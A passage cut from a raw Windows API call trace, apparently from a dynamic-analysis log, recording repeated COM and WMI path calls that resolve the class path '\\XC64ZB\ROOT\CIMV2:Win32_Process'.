pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0127.867] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0127.867] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0127.867] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0127.867] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0127.867] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0127.867] IUnknown:Release (This=0x3111d8) returned 0x1 [0127.868] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33ac20) returned 0x0 [0127.868] WbemDefPath:IUnknown:QueryInterface (in: This=0x33ac20, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0127.868] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33ac20, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x3521c0) returned 0x0 [0127.869] WbemDefPath:IUnknown:Release (This=0x33ac20) returned 0x0 [0127.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x3521c0) returned 0x0 [0127.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0127.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0127.869] WbemDefPath:IUnknown:AddRef (This=0x3521c0) returned 0x3 [0127.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0127.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0127.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33ab00) returned 0x0 [0127.869] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33ab00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.869] WbemDefPath:IUnknown:Release (This=0x33ab00) returned 0x3 [0127.869] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0127.869] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0127.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0127.870] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x2 [0127.870] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x1 [0127.870] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0127.870] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0127.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x3521c0) returned 0x0 [0127.870] WbemDefPath:IUnknown:AddRef (This=0x3521c0) returned 0x3 [0127.870] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x2 [0127.870] WbemDefPath:IWbemPath:SetText (This=0x3521c0, uMode=0x4, pszPath="") returned 0x0 [0127.870] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0127.870] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0127.870] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0127.870] IUnknown:Release (This=0x3111d8) returned 0x1 [0127.871] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33a8e0) returned 0x0 [0127.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a8e0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0127.871] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a8e0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x352d00) returned 0x0 [0127.871] WbemDefPath:IUnknown:Release (This=0x33a8e0) returned 0x0 [0127.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x352d00) returned 0x0 [0127.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0127.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0127.871] WbemDefPath:IUnknown:AddRef (This=0x352d00) returned 0x3 [0127.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0127.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0127.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33a980) returned 0x0 [0127.871] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33a980, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.872] WbemDefPath:IUnknown:Release (This=0x33a980) returned 0x3 [0127.872] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0127.872] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0127.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0127.872] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x2 [0127.872] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x1 [0127.872] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0127.872] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0127.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x352d00) returned 0x0 [0127.872] WbemDefPath:IUnknown:AddRef (This=0x352d00) returned 0x3 [0127.872] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x2 [0127.872] WbemDefPath:IWbemPath:SetText (This=0x352d00, uMode=0x4, pszPath="") returned 0x0 [0127.872] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352d00, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0127.872] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3521c0, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0127.873] WbemDefPath:IWbemPath:GetClassName (in: This=0x352d00, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0127.873] WbemDefPath:IWbemPath:GetServer (in: This=0x352d00, puNameBufLength=0x1b10da10*=0x0, pName=0x0 | out: puNameBufLength=0x1b10da10*=0x0, pName=0x0) returned 0x80041009 [0127.883] WbemDefPath:IWbemPath:SetServer (This=0x352d00, Name="XC64ZB") returned 0x0 [0127.883] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0127.884] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0127.884] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0127.884] IUnknown:Release (This=0x3111d8) returned 0x1 [0127.885] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33aa60) returned 0x0 [0127.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x33aa60, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0127.885] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33aa60, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x352280) returned 0x0 [0127.885] WbemDefPath:IUnknown:Release (This=0x33aa60) returned 0x0 [0127.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x352280) returned 0x0 [0127.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0127.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0127.885] WbemDefPath:IUnknown:AddRef (This=0x352280) returned 0x3 [0127.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0127.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0127.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33ab20) returned 0x0 [0127.886] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33ab20, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.886] WbemDefPath:IUnknown:Release (This=0x33ab20) returned 0x3 [0127.886] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0127.886] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0127.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0127.886] WbemDefPath:IUnknown:Release (This=0x352280) returned 0x2 [0127.886] WbemDefPath:IUnknown:Release (This=0x352280) returned 0x1 [0127.886] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0127.886] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0127.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x352280) returned 0x0 [0127.886] WbemDefPath:IUnknown:AddRef (This=0x352280) returned 0x3 [0127.886] WbemDefPath:IUnknown:Release (This=0x352280) returned 0x2 [0127.886] WbemDefPath:IWbemPath:SetText (This=0x352280, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0127.886] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352d00, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0127.886] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352280, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0127.886] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0127.886] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0127.887] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x352d00) returned 0x0 [0127.887] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352280, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0127.887] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352280, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0127.887] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352280, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="ROOT") returned 0x0 [0127.888] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x352d00, uIndex=0x0, pszName="ROOT") returned 0x0 [0127.888] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352280, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0127.888] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352280, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="CIMV2") returned 0x0 [0127.888] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x352d00, uIndex=0x1, pszName="CIMV2") returned 0x0 [0127.888] WbemDefPath:IWbemPath:GetClassName (in: This=0x352d00, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0127.888] WbemDefPath:IWbemPath:SetClassName (This=0x352d00, Name="Win32_Process") returned 0x0 [0127.888] WbemDefPath:IWbemPath:GetInfo (in: This=0x352d00, uRequestedInfo=0x0, puResponse=0x1b10daf0 | out: puResponse=0x1b10daf0*=0x20c16) returned 0x0 [0127.889] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352d00, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x22, pszText=0x0) returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=4, puBuffLength=0x1b10da40*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetInfo (in: This=0x352d00, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0x20c16) returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352d00, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x14, pszText=0x0) returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=8, puBuffLength=0x1b10da40*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b10da40*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351ec0, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=16, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xb, pszText=0x0) returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=16, puBuffLength=0x1b10da40*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10da40*=0xb, pszText="root\\cimv2") returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0127.890] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0127.890] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d998 | out: ppv=0x1b10d998*=0x3111d8) returned 0x0 [0127.890] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d988 | out: pAptType=0x1b10d988*=1) returned 0x0 [0127.890] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d990 | out: ppvObject=0x1b10d990*=0x0) returned 0x80004002 [0127.890] IUnknown:Release (This=0x3111d8) returned 0x1 [0127.891] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 